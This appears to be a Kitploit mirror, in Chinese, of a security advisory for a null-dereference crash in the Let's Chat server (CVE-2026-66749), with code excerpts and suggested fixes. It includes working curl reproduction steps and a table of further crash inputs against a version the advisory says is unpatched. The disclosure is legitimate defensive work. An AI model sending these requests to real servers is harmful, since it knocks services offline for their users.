Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat- — Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat) | Kitploit
工具/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)

查看仓库
23天前尚未审核

安全公告:未校验的房间查找导致服务器崩溃(Let's Chat)

分配的 CVE 编号: CVE-2026-66749

摘要

来自任意已登录账户的一个 HTTP 请求即可关闭 Let's Chat 服务器进程。

GET /messages 接受一个 room 参数,按 id 查找该房间,然后对结果调用一个方法,但未检查查找是否返回了任何内容。发送一个合法的 24 字符十六进制字符串但不属于任何房间的 id,所产生的 TypeError 会在 Mongoose 回调中被抛出。Express 只会捕获处理程序内同步抛出的异常,因此该异常会以未捕获异常的形式到达 Node,进程随即退出。

受影响版本

仓库 URL: https://github.com/sdelements/lets-chat

从 0.4.0(提交 84981a6,2015 年 2 月 21 日,该提交引入了 canJoin 调用)到最终版本 0.4.8 均受影响。目前不存在已修复版本。

已在提交 617207f 对应的 0.4.8 以及 docker.io/sdelements/lets-chat:latest(0.4.7)上确认,后者仍可公开拉取。

分类

CWE-476:空指针解引用,进而导致 CWE-248 未捕获异常和 CWE-400 未受控制的资源消耗。

CVSS 4.0 基础得分 7.1(高危) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

威胁模型

攻击者只需要一个普通用户账户,并能通过网络访问 HTTP 端口。他们不需要拥有或属于任何房间,不需要知道任何已存在的房间 id,也不需要持有任何提权角色。

在默认安装中,账户要求很弱,因为 defaults.yml 中 auth.local.enableRegistration 默认为 true,因此任何能访问登录页面的人都可以创建账户并发出该请求。

Procfile(web: npm start)和 docker/docker-compose.yml 均未配置监管程序或重启策略,因此在标准部署中,一个请求就会让服务宕机,直到运维人员重启。如果运维人员添加了进程监管,攻击者只需重复该请求即可。

技术细节

该路由没有注册房间校验中间件。app/controllers/messages.js:25-32:

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

对比 app/controllers/messages.js:34-41,房间作用域的变体确实添加了 middlewares.roomRoute,它会解析房间,并在房间不存在时返回 404:

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

因此,在 /messages 上,room 值未经校验就到达了管理器。app/core/messages.js:118-129:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

当 id 能干净地转换但不匹配任何文档时,Model.findById 会以 (null, null) 回调。由于没有 if (!room) 保护,第 129 行对 null 进行了解引用。

观察到的输出:

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

复现步骤

针对端口 5000 上的标准安装,不做任何配置更改:

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

第 3 步不返回任何响应体,curl 以代码 52(服务器返回空回复)退出。服务器进程已消失。任何 24 个十六进制字符且不匹配任何房间的 id 都能触发。

同一缺陷的其他实例

express.oi 会将每个 app.io.route(...) 键注册为普通的 socket.on(...) 处理器(node_modules/express.oi/lib/index.js 中的 initRoutes)。因此,经过身份验证的 socket.io 客户端可以直接调用这些处理器,从而绕过包括 roomRoute 在内的 Express 中间件链。这同时也移除了 Express 的 try/catch,因此通过 HTTP 只会导致 500 的同步异常,在 socket.io 上却会终止进程。

以下各项同样会终止进程。均已确认。

建议修复

为查找添加保护。在 app/core/messages.js:118 和 app/core/files.js:156 中:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

app/core/rooms.js:234 在调用 sanitizeRoom 之前也需要同样的处理,而 app/core/rooms.js:248 应拒绝缺失或非字符串的 options.identifier。

有两个改动可以从整体上修复这一整类问题,而不仅仅是这些实例。第一,在控制器边界对假定为字符串的查询参数(expand、room、id、take、skip)进行类型强制转换和校验。第二,将 socket.io 处理器调度包装在 try/catch 中,并挂载一个 process.on('uncaughtException') 处理器,这样单个错误请求只会降级为错误响应,而不会停止服务器。

下载工具
可达方式输入抛出位置
HTTP 和 socket.iomessages:list,room 设置为不存在的 idapp/core/messages.js:129
HTTP 和 socket.iofiles:list,room 设置为不存在的 idapp/core/files.js:167
socket.iorooms:get,id 不存在或未提供 idapp/core/rooms.js:213,经由 :234
socket.iorooms:users,未提供 roomapp/core/rooms.js:248
socket.iorooms:join,未提供 idapp/core/rooms.js:248
socket.iomessages:list,expand 为数组app/core/messages.js:97
socket.iofiles:list,expand 为数组app/core/files.js:139
socket.iousers:get,id 为对象app/models/user.js:139